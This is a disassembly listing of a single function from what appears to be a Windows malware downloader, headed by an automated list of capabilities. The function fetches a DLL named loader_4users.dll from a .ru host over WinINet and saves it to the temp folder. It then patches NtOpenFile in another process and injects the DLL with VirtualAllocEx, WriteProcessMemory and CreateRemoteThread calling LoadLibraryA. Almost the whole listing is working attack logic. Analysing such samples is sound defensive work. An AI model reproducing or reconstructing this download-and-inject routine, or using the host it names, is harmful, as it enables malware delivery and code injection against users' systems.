Function at 0x1400012b0
Capabilities:
Create http request
Create thread
Download and write a file
Get common file path
Inject thread
Read data from internet
Receive and write data from server to client
Receive data
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1120]
mov eax, 0x1220
call fcn.14004e420
sub rsp, rax
mov rax, qword [0x1402b1040]
xor rax, rsp
mov qword [rbp + 0x1110], rax
xor r15d, r15d
lea rdx, [rbp]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140001336
mov dword [0x1402b10bc], 1
mov rcx, qword [rbp + 0x1110]
xor rcx, rsp
call fcn.14004d360
lea r11, [rsp + 0x1220]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rbp]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140001355
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x1400018f3
cmp rbx, 0xf
ja 0x1400013a0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov r8, rbx
lea rdx, [rbp]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x40], r15b
jmp 0x14000143b
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x1400013d5
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14004d380
test rax, rax
je 0x140001400
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001419
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140001407
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400018f9
jmp 0x1400013ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001416
call fcn.14004d380
mov r14, rax
jmp 0x140001419
mov r14, r15
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rsi
mov r8, rbx
lea rdx, [rbp]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], r15b
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0xa
jb 0x14000148c
lea rax, [rcx + 0xa]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0xa
lea rdx, [0x14004f788]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xa], 0
lea rax, [rsp + 0x40]
jmp 0x1400014a4
mov qword [rsp + 0x20], 0xa
mov edx, 0xa
lea rcx, [rsp + 0x40]
call fcn.140001d30
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001511
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000150c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000150c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d3c4
movdqa xmm0, xmmword [0x1402a89c0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Downloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
jne 0x14000158c
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000130a
inc rdx
mov rcx, qword [rbp - 0x78]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140001582
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001667
call fcn.14004d3c4
jmp 0x14000130a
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__nonagonzone.ru_static_loader_4users.dll
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x1400015cf
mov dword [0x1402b10bc], 2
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001548
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rcx, qword [rbp - 0x78]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x14000166e
mov dword [0x1402b10bc], 3
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000130a
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001582
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001582
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r9, [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x110]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400016d0
nop dword [rax]
mov r8d, dword [rbp - 0x80]
test r8d, r8d
je 0x1400016d0
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x58]
lea rdx, [rbp + 0x110]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x110]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001690
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [0x1402b10bc], 4
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wgetenv]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140001990
nop
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140001c60
nop
lea rcx, [rsp + 0x60]
call fcn.140001920
lea rcx, [rbp - 0x30]
call fcn.140001910
mov r8, rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp - 0x50]
call fcn.140001b40
lea rcx, [rbp - 0x50]
call fcn.140001900
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140001910
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, edi
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call fcn.140001200
mov ebx, eax
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x1400017a1
mov dword [0x1402b10bc], 5
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400018be
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001836
mov ecx, dword [rax]
mov dword [rbp - 0x10], ecx
movzx ecx, byte [rax + 4]
mov byte [rbp - 0xc], cl
mov qword [rsp + 0x20], r15
mov r9d, 5
lea r8, [rbp - 0x10]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
lea rcx, [rbp - 0x50]
call fcn.140001900
lea rdi, [rdi + 1]
cmp byte [rax + rdi], 0
jne 0x140001861
lea r9, [rdi + 1]
lea rcx, [rbp - 0x50]
call fcn.140001900
mov qword [rsp + 0x20], r15
mov r8, rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x1400018be
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea r8d, [rdx + 5]
lea rcx, str.RIFF
call qword [sym.imp.WINMM.dll_PlaySoundA]
test eax, eax
je 0x1400018ea
mov dword [0x1402b10bc], 6
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.1400011e0
int3
call fcn.140001140
int3